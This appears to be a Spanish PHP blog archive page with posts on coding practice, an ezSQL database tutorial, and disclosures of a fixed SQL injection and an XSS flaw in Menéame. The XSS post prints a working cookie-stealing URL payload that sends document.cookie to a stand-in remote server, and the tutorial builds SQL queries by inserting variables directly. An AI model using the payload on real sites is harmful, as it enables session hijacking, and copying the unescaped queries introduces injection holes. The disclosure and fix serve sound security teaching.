Categories
PHP Varios

Un pequeño consejo

Muchos de nosotros hemos aprendido a programar sólo con experiencia, copiando código, preguntando al amigo que era un trome (léase gurú o también Alex) en estas cosas, leyendo algun manualillo de por ahi. Pero pocos hemos leido algún libro o alguna publicación oficial.

Y no es que seamos vagos ni irresponsables, sino que talvez no tengamos los medios para pagarnos cursos o comprarnos libros.

Pero esa no es excusa para seguir métodos antiguos o "hardcode" para hacer nuestras aplicaciones web. Tenemos que esforzarnos por aprender más y mejor las cositas que estamos haciendo ya que la mayoría de nosotros vive de estas cosas... y si es así ¿por qué no hacerlo bien?

Tenemos la suerte en estos tiempos de que los gurus, autores de libros, especialistas y demás tienen un blog en los cuales comparten sus conocimientos y trucos sobre cosas innovadoras o talvez cosas viejas que recién estamos aprendiendo.

Tengamos una buena cultura de programación, seamos ordenados desde ahora esforcémonos por hacer código estándar y entendible para las próximas personas que vendrán.

Jeje, este cursi-post es una pequeña introducción a una serie de posts sobre buenas prácticas de programación con PHP, fué inspirado despues de leerme todita la presentación de PHP best practices, the dos and don'ts y también despues de leer todos los post sobre seguridad que últimamente está escribiendo mi amigo Alex.

La recomendación es para todos, especialmente para los que ya llevan buen tiempo en este mundo de la web.

Categories
PHP Seguridad

SQL Injection en Menéame

Nota: Al momento de publicar este post, el bug ya ha sido corregido en la última versión de Menéame, pero probablemente sus clones todavía son vulnerables.

Existe un problema de validación de datos en el código fuente de Menéame, que dadas las condiciones necesarias, hace posible que alguien pueda apoderarse de la cuenta de un usuario, ingreso de datos inconsistentes y la creación nuevas cuentas con nivel "god" -esto último creo que no tiene mucha implicancia.

Categories
Artí­culos PHP

Sitios MultiIdioma – ezSQL Database Class

ezSQL Database Class como su nombre lo dice es una clase escrita en PHP que nos facilita el acceso a base de datos, podemos usarlo con MySQL, Oracle8, InterBase/FireBird, PostgreSQL, SQLite o MS-SQL pero para nuestro caso en particular lo usaremos para MySQL.

En esta oportunidad les mostraré algunos ejemplos de su uso y en adelante veremos su aplicación con el pequeño sistema que queremos desarrollar.

Creo que la mayoría de nosotros hemos empezado nuestros primeros scripts en PHP siguiendo el consejo de diferentes tutoriales, foros, consejos de amigos o el mismo manual de PHP y todos hemos escrito esto:

PHP:

// Conexion, seleccion de base de datos
$enlace = mysql_connect('servidor', 'usuario', 'password') or die('No pudo conectarse : ' . mysql_error());
echo 'Conexión exitosa'; mysql_select_db('mibase') or die('No pudo seleccionarse la BD.');
// Realizar una consulta SQL
$consulta = 'SELECT * FROM mi_tabla';
$resultado = mysql_query($consulta) or die('La consulta falló: ' . mysql_error());
// Impresion de resultados en HTML
echo " <table>\n";
while ($linea = mysql_fetch_array($resultado, MYSQL_ASSOC)) {
    echo "\t <tbody> <tr>\n";
    foreach ($linea as $valor_col) {
        echo "\t\t <td>$valor_col</td>\n";
    }
    echo "\t</tr>\n";
}
echo "</tbody></table>\n";
// Liberar conjunto de resultados
mysql_free_result($resultado);
// Cerrar la conexion
mysql_close($enlace);

Con ezSQL podemos simplificar muchas de estas tareas que las repetíamos cada vez que teníamos que seleccionar un registro o registros, insertar, actualizar o borrar como veremos a continuación.

Para el ejemplo usaré una tabla simple con la siguiente estructura que llamaremos "mi_tabla":

  • idpersona
  • nombre
  • email

Incluimos los archivos necesarios y creamos una instancia de la clase:

PHP:

include_once "../shared/ez_sql_core.php";
include_once "ez_sql_mysql.php";
$bcdb = new ezSQL_mysql('usuario','password','mibase','servidor');
 

Ahora lo interesante:

PHP:

// Para insertar un nuevo registro
$bcdb->query("INSERT INTO mi_tabla VALUES (NULL, 'braulio', 'mail@buayacorp.com')");

// Si queremos recuperar el id de este último pues
$ultimoid = $bcdb->insert_id;

// Para seleccionar todos los registros de la tabla
// El segundo parámetro indica si nuestros resultados serán arreglos asociativos (ARRAY_A) o arreglos numéricos (ARRAY_N)
$resultados = $bcdb->get_results("SELECT * FROM mi_tabla", ARRAY_A);

// y mostrarlos
foreach($resultados as $k => $v) {
  echo "Nombre: " . $v["nombre"];
  echo "Email: " . $v["email"];
}

// Para seleccionar una fila y mostrarla
$resultado = $bcdb->get_row("SELECT * FROM mi_tabla WHERE idpersona = '$ultimoid'", ARRAY_A);
echo "Nombre: " . $resultado["nombre"];
echo "Nombre: " . $resultado["email"];

// Para seleccionar sólo una variable y mostrarla
$nombre = $bcdb->get_var("SELECT nombre FROM mi_tabla WHERE idpersona = '$ultimoid'");
echo $nombre;

// Para actualizar y borrar
$bcdb->query("UPDATE mi_tabla SET nombre = 'Andres' WHERE id = $ultimoid");
$bcdb->query("DELETE FROM mi_tabla WHERE id = $ultimoid");
 

Resumiendo los métodos que nos ofrece la clase tenemos:

  • El método query: Sirve para hacer consultas del modo "ExecuteNonQuery" osea que no devuelven resultados, esto nos sirve para INSERT, UPDATE y DELETE.
  • El método get_results: Sirve para las consultas que devuelven todos los datos de un tabla, y nos devuelve una matriz de resultados
  • El método get_row: Nos devuelve sólo una fila de una consulta.
  • El método get_var: Nos devuelve sólamente una variable.

Esta librería tiene muchas mas cosas que nos ayudarán a manejar nuestra base de datos, pero no hablaremos de todo en esta entrada, si desean revisarlo más a fondo pueden leer la documentación.

Enlaces

Categories
PHP Seguridad

Mejores prácticas en PHP

PHP best practices, the dos and don'ts, es una presentación muy interesante acerca de las cosas que se deben tener en cuenta al desarrollar aplicaciones Web con PHP.

La presentación está dividida en tres partes:

Nota: para ver la presentación necesitan un navegador que no sea IE, caso contrario verán el siguiente mensaje:

IE is not supported - please use Firefox, Safari, Konqueror or just about anything else.

Categories
PHP Seguridad Varios XSS

¿Menéame, vulnerable a ataques XSS?

La lectura del libro Writing Secure Code, últimamente me ha motivado a revisar código de distintas aplicaciones en busca de algunas fallas. Es así que mientras miraba el código fuente de menéame (a.k.a. clon de Digg), ví -valga la redundacia- que éste era suceptible a ataques XSS, posiblemente en los siguientes archivos:

  • www\blogscloud.php
  • www\cloud.php
  • www\comments_rss2.php ¿?
  • www\rss2.php ¿?
  • www\topstories.php
  • www\topusers-big.php
  • www\topusers.php
  • www\libs\html1.php ¿?
  • www\backend\comment_edit.php ¿?

Actualización: El error ha sido solucionado minutos después de haber publicado el bug en http://meneame.wikispaces.com/Bugs, es por eso que me gusta el software libre!.

El error -un viejo conocido de otras aplicaciones- consiste en que no se valida de manera correcta el uso de la variable predefinida PHP_SELF, así por ejemplo en la línea 80 de cloud.php tenemos algo como esto:

php:

echo '<li><a href="'.$_SERVER['PHP_SELF'].'?range='.$i.'">' .$range_names[$i]. '</a></li>'."\n";

A simple vista pareciera que la línea no contiene ningún error, pero el pequeño detalle es que el contenido de PHP_SELF puede ser modificado por el usuario.

'PHP_SELF'

El nombre de archivo del script ejecutándose actualmente, relativo a la raíz de documentos. Por ejemplo, $_SERVER['PHP_SELF'] en un script en la dirección http://example.com/test.php/foo.bar sería /test.php/foo.bar. La constante __FILE__ contiene la ruta completa y nombre del archivo actual (es decir, incluido).

Si PHP está siendo ejecutado como un procesador de línea de comandos, esta variable contiene el nombre del script a partir de PHP 4.3.0. Anteriormente no estaba disponible.

Fuente: Variables Predefinidas

Ejemplos

Si armamos la siguiente URL, al cargar la página debería aparecer un mensaje mostrando las cookies relacionadas al sitio:

html:

<!-- URL -->
http://meneame.net/cloud.php/"><script>alert(document.cookie)</script><foo"

<!-- El código HTML enviado al cliente -->
<li><a href="/cloud.php/"><script>alert(document.cookie)</script><foo"?range=1">última semana</a></li>

Si esta vez se arma una URL como la siguiente, entonces lo que puede pasar es que las cookies sean enviadas a un servidor remoto, probablemente para fines no muy éticos.

html:

http://meneame.net/cloud.php/"><script>document.location='http://www.servidor-remoto.net?cookies='+document.cookie</script><foo"

Solución

Usar otra variable predefinida (¿REQUEST_URI?), la función htmlentities para escapar el contenido de PHP_SELF o borrar los caracteres peligrosos de éste.

Actualización: Según la documentación, SCRIPT_NAME debe usarse para referenciar a una misma página.

SCRIPT_NAME

Contiene la ruta del script actual. Ésta es útil para páginas que necesitan apuntar a ellas mismas. La constante __FILE__ contiene la ruta completa y nombre del archivo actual (es decir, incluido).

Fuente: Variables Predefinidas

Notas finales

Debemos tener cuidado en validar correctamente los datos que son enviados y/o aquellos que son modificables por el usuario.

Cabe aclarar que ésta entrada no es ninguna represalia por el hecho que tildaron de spammer -con justa razón- a mi amigo Braulio en uno de sus envíos a Menéame. 😀

Links recomendados